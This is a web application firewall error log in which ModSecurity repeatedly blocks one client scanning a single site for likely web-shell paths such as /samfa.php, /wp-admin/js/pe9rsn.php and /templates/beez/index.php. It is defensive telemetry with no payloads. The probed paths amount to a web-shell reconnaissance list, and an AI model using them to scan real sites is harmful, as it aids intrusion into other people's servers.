[Sat Feb 28 01:44:24.224717 2026] [:error] [pid 15240:tid 15255] [client 20.100.197.204:54765] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/samfa.php"] [unique_id "aaHX-C1iKL_41Rk9A9OEwAAAAA0"]
[Sat Feb 28 01:44:24.745081 2026] [:error] [pid 15100:tid 15169] [client 20.100.197.204:4564] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/samfa.php"] [unique_id "aaHX-EOEbzcINan_ctLLugAAAEk"]
[Sat Feb 28 01:44:25.276919 2026] [:error] [pid 38586:tid 38594] [client 20.100.197.204:6304] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/samfa.php"] [unique_id "aaHX-b_i6nvKNhjFW7VWLgAAAQU"]
[Sat Feb 28 01:44:25.793459 2026] [:error] [pid 38586:tid 38603] [client 20.100.197.204:21166] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aaHX-b_i6nvKNhjFW7VWMQAAAQ4"]
[Sat Feb 28 01:44:26.343948 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:6306] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aaHX-gP6I7SRqrhh7RofvgAAAVc"]
[Sat Feb 28 01:44:26.860936 2026] [:error] [pid 38620:tid 38638] [client 20.100.197.204:4549] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aaHX-gP6I7SRqrhh7RofwwAAAVA"]
[Sat Feb 28 01:44:27.385920 2026] [:error] [pid 38586:tid 38612] [client 20.100.197.204:41910] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aaHX-7_i6nvKNhjFW7VWNAAAARc"]
[Sat Feb 28 01:44:27.904836 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:32625] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaHX-7_i6nvKNhjFW7VWPAAAAQo"]
[Sat Feb 28 01:44:28.423235 2026] [:error] [pid 15099:tid 15138] [client 20.100.197.204:24577] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaHX_OnvP2vtPjYDq_g8tAAAAMU"]
[Sat Feb 28 01:44:28.941612 2026] [:error] [pid 15099:tid 15139] [client 20.100.197.204:6326] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaHX_OnvP2vtPjYDq_g8uAAAAMY"]
[Sat Feb 28 01:44:29.476705 2026] [:error] [pid 15099:tid 15155] [client 20.100.197.204:6324] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaHX_envP2vtPjYDq_g8wAAAANY"]
[Sat Feb 28 01:44:29.997011 2026] [:error] [pid 15240:tid 15264] [client 20.100.197.204:6301] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aaHX_S1iKL_41Rk9A9OExQAAABY"]
[Sat Feb 28 01:44:30.523384 2026] [:error] [pid 38586:tid 38590] [client 20.100.197.204:11525] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aaHX_r_i6nvKNhjFW7VWQwAAAQE"]
[Sat Feb 28 01:44:31.044113 2026] [:error] [pid 38586:tid 38612] [client 20.100.197.204:21158] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aaHX_7_i6nvKNhjFW7VWRgAAARc"]
[Sat Feb 28 01:44:31.590942 2026] [:error] [pid 15240:tid 15251] [client 20.100.197.204:4574] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aaHX_y1iKL_41Rk9A9OEyAAAAAk"]
[Sat Feb 28 01:44:32.111885 2026] [:error] [pid 38620:tid 38626] [client 20.100.197.204:37940] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaHYAAP6I7SRqrhh7Rof0QAAAUQ"]
[Sat Feb 28 01:44:32.653885 2026] [:error] [pid 15240:tid 15254] [client 20.100.197.204:32586] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaHYAC1iKL_41Rk9A9OEzQAAAAw"]
[Sat Feb 28 01:44:33.185321 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:41882] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaHYAQP6I7SRqrhh7Rof2QAAAVc"]
[Sat Feb 28 01:44:33.703000 2026] [:error] [pid 38620:tid 38638] [client 20.100.197.204:37897] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaHYAQP6I7SRqrhh7Rof4AAAAVA"]
[Sat Feb 28 01:44:34.264132 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:11541] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aaHYAgP6I7SRqrhh7Rof5gAAAVI"]
[Sat Feb 28 01:44:34.784010 2026] [:error] [pid 38586:tid 38591] [client 20.100.197.204:61369] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aaHYAr_i6nvKNhjFW7VWUwAAAQI"]
[Sat Feb 28 01:44:35.300350 2026] [:error] [pid 15100:tid 15184] [client 20.100.197.204:11537] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aaHYA0OEbzcINan_ctLLxAAAAFg"]
[Sat Feb 28 01:44:35.820217 2026] [:error] [pid 15240:tid 15263] [client 20.100.197.204:54720] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aaHYAy1iKL_41Rk9A9OE0wAAABU"]
[Sat Feb 28 01:44:36.338576 2026] [:error] [pid 38586:tid 38613] [client 20.100.197.204:37919] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaHYBL_i6nvKNhjFW7VWVwAAARg"]
[Sat Feb 28 01:44:36.859519 2026] [:error] [pid 15100:tid 15177] [client 20.100.197.204:11583] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaHYBEOEbzcINan_ctLLzwAAAFE"]
[Sat Feb 28 01:44:37.401913 2026] [:error] [pid 15240:tid 15259] [client 20.100.197.204:37670] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaHYBS1iKL_41Rk9A9OE2AAAABE"]
[Sat Feb 28 01:44:37.919800 2026] [:error] [pid 15240:tid 15256] [client 20.100.197.204:37950] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaHYBS1iKL_41Rk9A9OE2wAAAA4"]
[Sat Feb 28 01:44:38.444444 2026] [:error] [pid 15100:tid 15175] [client 20.100.197.204:37930] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aaHYBkOEbzcINan_ctLL1gAAAE8"]
[Sat Feb 28 01:44:38.962645 2026] [:error] [pid 15240:tid 15255] [client 20.100.197.204:30156] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aaHYBi1iKL_41Rk9A9OE4QAAAA0"]
[Sat Feb 28 01:44:39.484603 2026] [:error] [pid 15098:tid 15113] [client 20.100.197.204:36226] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aaHYB8kFqny8dQQbmTkrCgAAAIc"]
[Sat Feb 28 01:44:40.019349 2026] [:error] [pid 38620:tid 38622] [client 20.100.197.204:54763] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aaHYCAP6I7SRqrhh7Rof8wAAAUA"]
[Sat Feb 28 01:44:40.568307 2026] [:error] [pid 15100:tid 15169] [client 20.100.197.204:11546] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aaHYCEOEbzcINan_ctLL2wAAAEk"]
[Sat Feb 28 01:44:41.109264 2026] [:error] [pid 15100:tid 15177] [client 20.100.197.204:21356] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aaHYCUOEbzcINan_ctLL3gAAAFE"]
[Sat Feb 28 01:44:41.657073 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:30159] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aaHYCQP6I7SRqrhh7Rof-QAAAVM"]
[Sat Feb 28 01:44:42.198501 2026] [:error] [pid 38586:tid 38613] [client 20.100.197.204:37991] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aaHYCr_i6nvKNhjFW7VWawAAARg"]
[Sat Feb 28 01:44:42.718197 2026] [:error] [pid 38620:tid 38631] [client 20.100.197.204:21343] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaHYCgP6I7SRqrhh7Rof_gAAAUk"]
[Sat Feb 28 01:44:43.234679 2026] [:error] [pid 15098:tid 15117] [client 20.100.197.204:37674] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaHYC8kFqny8dQQbmTkrEAAAAIs"]
[Sat Feb 28 01:44:43.751060 2026] [:error] [pid 15099:tid 15145] [client 20.100.197.204:11526] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaHYC-nvP2vtPjYDq_g83wAAAMw"]
[Sat Feb 28 01:44:44.276181 2026] [:error] [pid 38586:tid 38607] [client 20.100.197.204:21356] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaHYDL_i6nvKNhjFW7VWcwAAARI"]
[Sat Feb 28 01:44:44.797581 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:6604] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaHYDAP6I7SRqrhh7RogBwAAAVI"]
[Sat Feb 28 01:44:45.324695 2026] [:error] [pid 15100:tid 15170] [client 20.100.197.204:6619] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaHYDUOEbzcINan_ctLL4wAAAEo"]
[Sat Feb 28 01:44:45.843368 2026] [:error] [pid 15240:tid 15262] [client 20.100.197.204:36252] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaHYDS1iKL_41Rk9A9OE-gAAABQ"]
[Sat Feb 28 01:44:46.366765 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:36285] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaHYDgP6I7SRqrhh7RogCgAAAVM"]
[Sat Feb 28 01:44:46.884152 2026] [:error] [pid 38586:tid 38610] [client 20.100.197.204:38007] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaHYDr_i6nvKNhjFW7VWggAAARU"]
[Sat Feb 28 01:44:47.411029 2026] [:error] [pid 15240:tid 15259] [client 20.100.197.204:37935] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaHYDy1iKL_41Rk9A9OE-wAAABE"]
[Sat Feb 28 01:44:47.928124 2026] [:error] [pid 15240:tid 15251] [client 20.100.197.204:11692] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaHYDy1iKL_41Rk9A9OE_QAAAAk"]
[Sat Feb 28 01:44:48.455741 2026] [:error] [pid 38620:tid 38623] [client 20.100.197.204:6635] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaHYEAP6I7SRqrhh7RogDgAAAUE"]
[Sat Feb 28 01:44:48.971248 2026] [:error] [pid 38586:tid 38598] [client 20.100.197.204:37679] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHYEL_i6nvKNhjFW7VWjQAAAQk"]
[Sat Feb 28 01:44:49.487295 2026] [:error] [pid 15099:tid 15133] [client 20.100.197.204:6610] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHYEenvP2vtPjYDq_g87gAAAMA"]
[Sat Feb 28 01:44:50.003936 2026] [:error] [pid 38586:tid 38590] [client 20.100.197.204:36279] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHYEr_i6nvKNhjFW7VWlQAAAQE"]
[Sat Feb 28 01:44:50.522125 2026] [:error] [pid 38586:tid 38612] [client 20.100.197.204:30761] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHYEr_i6nvKNhjFW7VWmgAAARc"]
[Sat Feb 28 01:44:51.040514 2026] [:error] [pid 15098:tid 15123] [client 20.100.197.204:21334] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaHYE8kFqny8dQQbmTkrGQAAAJE"]
[Sat Feb 28 01:44:51.557085 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:21331] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaHYE7_i6nvKNhjFW7VWnwAAAQo"]
[Sat Feb 28 01:44:52.074033 2026] [:error] [pid 15099:tid 15148] [client 20.100.197.204:61339] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaHYFOnvP2vtPjYDq_g89AAAAM8"]
[Sat Feb 28 01:44:52.590145 2026] [:error] [pid 15100:tid 15180] [client 20.100.197.204:21360] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaHYFEOEbzcINan_ctLL7wAAAFQ"]
